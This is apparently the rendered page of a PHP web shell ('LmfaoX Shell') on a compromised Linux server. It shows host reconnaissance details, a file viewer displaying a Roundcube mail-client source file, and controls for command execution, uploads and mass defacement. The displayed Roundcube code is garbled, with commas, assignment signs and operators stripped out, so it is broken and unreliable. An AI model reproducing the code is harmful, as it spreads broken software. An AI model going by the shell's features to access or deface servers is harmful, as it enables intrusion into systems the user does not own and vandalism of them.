ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.15 GB of 70.42 GB (34.3%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail/ program/ lib/ Roundcube/ - drwxr-xr-x

Directory:
Viewing file:     rcube_message_header.php (6.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) 2005-2012, The Roundcube Dev Team                       |
 | Copyright (C) 2011-2012, Kolab Systems AG                             |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   E-mail message headers representation                               |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Struct representing an e-mail message header
 *
 * @package    Framework
 * @subpackage Storage
 * @author     Aleksander Machniak <alec@alec.pl>
 */
class rcube_message_header
{
    
/**
     * Message sequence number
     *
     * @var int
     */
    
public $id;

    
/**
     * Message unique identifier
     *
     * @var int
     */
    
public $uid;

    
/**
     * Message subject
     *
     * @var string
     */
    
public $subject;

    
/**
     * Message sender (From)
     *
     * @var string
     */
    
public $from;

    
/**
     * Message recipient (To)
     *
     * @var string
     */
    
public $to;

    
/**
     * Message additional recipients (Cc)
     *
     * @var string
     */
    
public $cc;

    
/**
     * Message Reply-To header
     *
     * @var string
     */
    
public $replyto;

    
/**
     * Message In-Reply-To header
     *
     * @var string
     */
    
public $in_reply_to;

    
/**
     * Message date (Date)
     *
     * @var string
     */
    
public $date;

    
/**
     * Message identifier (Message-ID)
     *
     * @var string
     */
    
public $messageID;

    
/**
     * Message size
     *
     * @var int
     */
    
public $size;

    
/**
     * Message encoding
     *
     * @var string
     */
    
public $encoding;

    
/**
     * Message charset
     *
     * @var string
     */
    
public $charset;

    
/**
     * Message Content-type
     *
     * @var string
     */
    
public $ctype;

    
/**
     * Message timestamp (based on message date)
     *
     * @var int
     */
    
public $timestamp;

    
/**
     * IMAP bodystructure string
     *
     * @var string
     */
    
public $bodystructure;

    
/**
     * IMAP internal date
     *
     * @var string
     */
    
public $internaldate;

    
/**
     * Message References header
     *
     * @var string
     */
    
public $references;

    
/**
     * Message priority (X-Priority)
     *
     * @var int
     */
    
public $priority;

    
/**
     * Message receipt recipient
     *
     * @var string
     */
    
public $mdn_to;

    
/**
     * Other message headers
     *
     * @var array
     */
    
public $others = array();

    
/**
     * Message flags
     *
     * @var array
     */
    
public $flags = array();

    
// map header to rcube_message_header object property
    
private $obj_headers = array(
        
'date'      => 'date',
        
'from'      => 'from',
        
'to'        => 'to',
        
'subject'   => 'subject',
        
'reply-to'  => 'replyto',
        
'cc'        => 'cc',
        
'bcc'       => 'bcc',
        
'content-transfer-encoding' => 'encoding',
        
'in-reply-to'               => 'in_reply_to',
        
'content-type'              => 'ctype',
        
'charset'                   => 'charset',
        
'references'                => 'references',
        
'return-receipt-to'         => 'mdn_to',
        
'disposition-notification-to' => 'mdn_to',
        
'x-confirm-reading-to'      => 'mdn_to',
        
'message-id'                => 'messageID',
        
'x-priority'                => 'priority',
    );

    
/**
     * Returns header value
     */
    
public function get($name$decode true)
    {
        
$name strtolower($name);

        if (isset(
$this->obj_headers[$name])) {
            
$value $this->{$this->obj_headers[$name]};
        }
        else {
            
$value $this->others[$name];
        }

        if (
$decode) {
            
$value rcube_mime::decode_header($value$this->charset);
            
$value rcube_charset::clean($value);
        }

        return 
$value;
    }

    
/**
     * Sets header value
     */
    
public function set($name$value)
    {
        
$name strtolower($name);

        if (isset(
$this->obj_headers[$name])) {
            
$this->{$this->obj_headers[$name]} = $value;
        }
        else {
            
$this->others[$name] = $value;
        }
    }


    
/**
     * Factory method to instantiate headers from a data array
     *
     * @param array Hash array with header values
     * @return object rcube_message_header instance filled with headers values
     */
    
public static function from_array($arr)
    {
        
$obj = new rcube_message_header;
        foreach (
$arr as $k => $v)
            
$obj->set($k$v);

        return 
$obj;
    }
}


/**
 * Class for sorting an array of rcube_message_header objects in a predetermined order.
 *
 * @package    Framework
 * @subpackage Storage
 * @author  Aleksander Machniak <alec@alec.pl>
 */
class rcube_message_header_sorter
{
    private 
$uids = array();


    
/**
     * Set the predetermined sort order.
     *
     * @param array $index  Numerically indexed array of IMAP UIDs
     */
    
function set_index($index)
    {
        
$index array_flip($index);

        
$this->uids $index;
    }

    
/**
     * Sort the array of header objects
     *
     * @param array $headers Array of rcube_message_header objects indexed by UID
     */
    
function sort_headers(&$headers)
    {
        
uksort($headers, array($this"compare_uids"));
    }

    
/**
     * Sort method called by uksort()
     *
     * @param int $a Array key (UID)
     * @param int $b Array key (UID)
     */
    
function compare_uids($a$b)
    {
        
// then find each sequence number in my ordered list
        
$posa = isset($this->uids[$a]) ? intval($this->uids[$a]) : -1;
        
$posb = isset($this->uids[$b]) ? intval($this->uids[$b]) : -1;

        
// return the relative position as the comparison value
        
return $posa $posb;
    }
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2223 seconds